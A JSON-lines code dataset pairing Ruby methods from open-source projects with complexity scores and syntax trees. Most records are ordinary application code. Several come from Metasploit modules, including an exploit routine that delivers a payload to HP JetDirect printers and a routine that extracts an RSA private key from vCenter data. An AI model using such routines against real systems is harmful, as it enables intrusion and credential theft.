end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_audit_log\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource_id\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_link\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@action\"]},\"==\",{\"type\":\"str\",\"children\":[\"delete\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_link!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"ivar\",\"children\":[\"@connector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_id\"]},{\"type\":\"lvar\",\"children\":[\"resource_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"audit!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"ivar\",\"children\":[\"@action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_id\"]},{\"type\":\"lvar\",\"children\":[\"resource_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"ivar\",\"children\":[\"@audit_resource\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"ivar\",\"children\":[\"@payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_link\"]},{\"type\":\"lvar\",\"children\":[\"resource_link\"]}]}]}]}]}]}","id":"cb9ce8f2-01e2-4f83-948b-7d69b3a540c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/guardian_extensions.rb","start_line":182,"raw_source":"def can_flag_in_chat_channel?(chat_channel, post_allowed_category_ids: nil)\n      return false if !can_modify_channel_message?(chat_channel)\n\n      can_join_chat_channel?(chat_channel, post_allowed_category_ids: post_allowed_category_ids)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_flag_in_chat_channel?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chat_channel\"]},{\"type\":\"kwoptarg\",\"children\":[\"post_allowed_category_ids\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_modify_channel_message?\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"can_join_chat_channel?\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_allowed_category_ids\"]},{\"type\":\"lvar\",\"children\":[\"post_allowed_category_ids\"]}]}]}]}]}]}","id":"a1b5799e-e98c-4321-bb9d-d35d20cf7e17"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb","start_line":178,"raw_source":"def exploit\n    begin\n      opts = {\n        stager_script_name: \"#{Rex::Text.rand_text_alpha(8)}.sh\"\n      }\n\n      print_status(\"Exploiting...\")\n      connect\n      if target.name =~ /Unix/\n        execute_command(payload.encoded, opts)\n      else\n        execute_cmdstager(opts)\n      end\n      restart_printer\n\n      return\n    ensure\n      disconnect\n    end\n  end","complexity_score":15.73,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stager_script_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".sh\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Exploiting...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"restart_printer\"]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}]}","id":"6f758cd2-e06b-47e0-9ee8-0dc7a46c7d57"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor.rb","start_line":52,"raw_source":"def cleanup_failed_workers\n    check_pending_stop\n    clean_worker_records\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_failed_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_pending_stop\"]},{\"type\":\"send\",\"children\":[null,\"clean_worker_records\"]}]}]}","id":"1d1fa08c-01d4-4183-9e94-991957439543"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/spoiler-alert/spec/system/composer_spoiler_spec.rb","start_line":23,"raw_source":"def open_composer\n    page.visit \"/new-topic\"\n    expect(composer).to be_opened\n    composer.focus\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_composer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/new-topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"composer\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_opened\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"composer\"]},\"focus\"]}]}]}","id":"974a337d-2334-47c8-a172-4acf6cf320f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/lfs_api_controller.rb","start_line":54,"raw_source":"def upload_request?\n      params[:operation] == 'upload'\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operation\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"upload\"]}]}]}","id":"867e190f-2d8c-407f-8938-b8eef68a1659"}
{"repo_name":"rails","file_path":"./repos/rails/tools/preview_docs.rb","start_line":57,"raw_source":"def self.repo\n    fetch(\"BUILDKITE_REPO\").gsub(\".git\", \"\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"str\",\"children\":[\"BUILDKITE_REPO\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\".git\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"cd3c18e2-a3a9-4587-b464-2faaddd09798"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":829,"raw_source":"def test_no_queries_for_empty_relation_on_maximum\n    assert_queries_count(0) do\n      assert_nil Account.where(id: []).maximum(:id)\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_queries_for_empty_relation_on_maximum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]}]}]},\"maximum\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"45f43cac-4409-46de-89ec-036e84e011b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/jira_import/stage/start_import_worker.rb","start_line":19,"raw_source":"def perform(project_id)\n          @project = Project.find_by_id(project_id)\n\n          return unless start_import\n\n          Gitlab::Import::SetAsyncJid.set_jid(project.latest_jira_import)\n\n          Gitlab::JiraImport::Stage::ImportLabelsWorker.perform_async(project.id)\n        end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_import\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Import\"]},\"SetAsyncJid\"]},\"set_jid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"latest_jira_import\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"JiraImport\"]},\"Stage\"]},\"ImportLabelsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}","id":"cf108971-3cae-4f5f-b552-99338ebe6d1f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb","start_line":175,"raw_source":"def get_sts_key(bytes)\n    working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}020100/) / 2 # PKCS1 magic bytes\n    byte_len = bytes.length - working_offset\n    key_bytes = read_der(bytes[working_offset, byte_len])\n    key_b64 = Base64.strict_encode64(key_bytes).scan(/.{1,64}/).join(\"\\n\")\n    key_pem = \"-----BEGIN PRIVATE KEY-----\\n#{key_b64}\\n-----END PRIVATE KEY-----\"\n    vprint_status(\"key_pem:\\n#{key_pem}\")\n    OpenSSL::PKey::RSA.new(key_pem)\n  rescue OpenSSL::PKey::PKeyError\n    # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')\n    print_error('Failure during extract of PKCS#1 RSA private key')\n  end","complexity_score":26.25,"ast_json":"{\"type\":\"def\",\"children\":[\"get_sts_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bytes\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"working_offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"first\"]},\"index\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"3082[0-9a-f]{4}020100\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"byte_len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"length\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"working_offset\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_bytes\",{\"type\":\"send\",\"children\":[null,\"read_der\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"working_offset\"]},{\"type\":\"lvar\",\"children\":[\"byte_len\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_b64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"key_bytes\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".{1,64}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_pem\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-----BEGIN PRIVATE KEY-----\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_b64\"]}]},{\"type\":\"str\",\"children\":[\"\\n-----END PRIVATE KEY-----\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"key_pem:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_pem\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"RSA\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"key_pem\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"PKeyError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failure during extract of PKCS#1 RSA private key\"]}]}]},null]}]}","id":"d22ff6a4-7152-4520-8666-e2979f50ab79"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/replace_mentions_service.rb","start_line":229,"raw_source":"def sanitize_sql_for_conditions(string)\n      klass.sanitize_sql_for_conditions string\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_sql_for_conditions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"sanitize_sql_for_conditions\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}","id":"d97a18da-5617-4443-8410-77ebe2a69385"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/process_service.rb","start_line":58,"raw_source":"def all_entities_failed?\n      entities.all?(&:failed?)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_entities_failed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entities\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed?\"]}]}]}]}","id":"30b38dbd-5767-4929-9309-4a10b315ab87"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/twiki_maketext.rb","start_line":77,"raw_source":"def do_login(username, password)\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => \"#{@base}do/login\",\n      'vars_post' =>\n        {\n          'username' => username,\n          'password' => password\n        }\n    })\n\n    if not res or res.code != 302 or res.get_cookies !~ /TWIKISID=([0-9a-f]*)/\n      return nil\n    end\n\n    session = $1\n    return session\n  end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]}]},{\"type\":\"str\",\"children\":[\"do/login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"TWIKISID=([0-9a-f]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]}]}","id":"c8d3d474-56cb-4927-bb39-ec92c69f2b02"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/feeds.rb","start_line":46,"raw_source":"def clear\n      keys = redis.keys('feed:*')\n      redis.del(keys)\n      say('OK', :green)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"keys\",{\"type\":\"str\",\"children\":[\"feed:*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"del\",{\"type\":\"lvar\",\"children\":[\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"OK\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]}]}]}","id":"dfb4a3c4-04db-4c01-bfdd-b5e2176a131e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_columns.rb","start_line":51,"raw_source":"def array_lookup_expressions_by_position(table_name)\n            columns.map do |column|\n              Arel.sql(\"#{table_name}.#{column.array_aggregated_column_name}[position]\")\n            end\n          end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"array_lookup_expressions_by_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"array_aggregated_column_name\"]}]},{\"type\":\"str\",\"children\":[\"[position]\"]}]}]}]}]}","id":"c1dd9814-ff7a-4941-92b3-c66f88478f5e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/viewpoint_writer.rb","start_line":76,"raw_source":"def visibility(xml)\n      return unless (visibility_hash = dig_json \"components\", \"visibility\")\n\n      xml.Visibility(DefaultVisibility: visibility_hash[\"default_visibility\"]) do\n        exceptions = visibility_hash[\"exceptions\"]\n        next unless exceptions\n\n        xml.Exceptions do\n          Array.wrap(exceptions).each do |comp_hash|\n            xml.Component camelized(comp_hash)\n          end\n        end\n      end\n    end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"visibility\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visibility_hash\",{\"type\":\"send\",\"children\":[null,\"dig_json\",{\"type\":\"str\",\"children\":[\"components\"]},{\"type\":\"str\",\"children\":[\"visibility\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Visibility\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"DefaultVisibility\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visibility_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default_visibility\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exceptions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visibility_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exceptions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exceptions\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Exceptions\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"exceptions\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comp_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Component\",{\"type\":\"send\",\"children\":[null,\"camelized\",{\"type\":\"lvar\",\"children\":[\"comp_hash\"]}]}]}]}]}]}]}]}]}","id":"c98467ed-f307-4c03-a0e5-c6d731021e1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunks/fog.rb","start_line":120,"raw_source":"def fog_directory\n        @fog_directory ||= connection.directories.new(key: bucket_name)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fog_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fog_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"directories\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"bucket_name\"]}]}]}]}]}]}","id":"e383fc3d-3f0c-4093-a5b5-ad904de91d60"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/files.rb","start_line":165,"raw_source":"def multipart?\n        ranges.size > 1\n      end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"multipart?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ranges\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"e51371fb-c7f1-46dc-b579-06a64baf9899"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/java/bind_tcp.rb","start_line":31,"raw_source":"def transport_config(opts={})\n    transport_config_bind_tcp(opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transport_config\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"transport_config_bind_tcp\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"4818e4d8-e3f0-4105-870e-0eaad853beda"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/profile/mfa_controller.rb","start_line":18,"raw_source":"def destroy\n    mfa_service.disable_two_factor!\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mfa_service\"]},\"disable_two_factor!\"]}]}","id":"dd4dfdda-a977-42ad-bcd0-53f5ddeb7c1e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/support/components/file_picker_dialog.rb","start_line":76,"raw_source":"def has_list_item?(text:, checked:, disabled:)\n      page.within(container) do\n        expect(page.find('[data-test-selector=\"op-files-picker-modal--list-item\"]', text:))\n          .to have_field(type: \"checkbox\", checked:, disabled:)\n      end\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"has_list_item?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"text\"]},{\"type\":\"kwarg\",\"children\":[\"checked\"]},{\"type\":\"kwarg\",\"children\":[\"disabled\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-files-picker-modal--list-item\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"checkbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"checked\"]},{\"type\":\"lvar\",\"children\":[\"checked\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"lvar\",\"children\":[\"disabled\"]}]}]}]}]}]}]}","id":"4feea2d3-a3b5-451b-b343-192c13f715c4"}
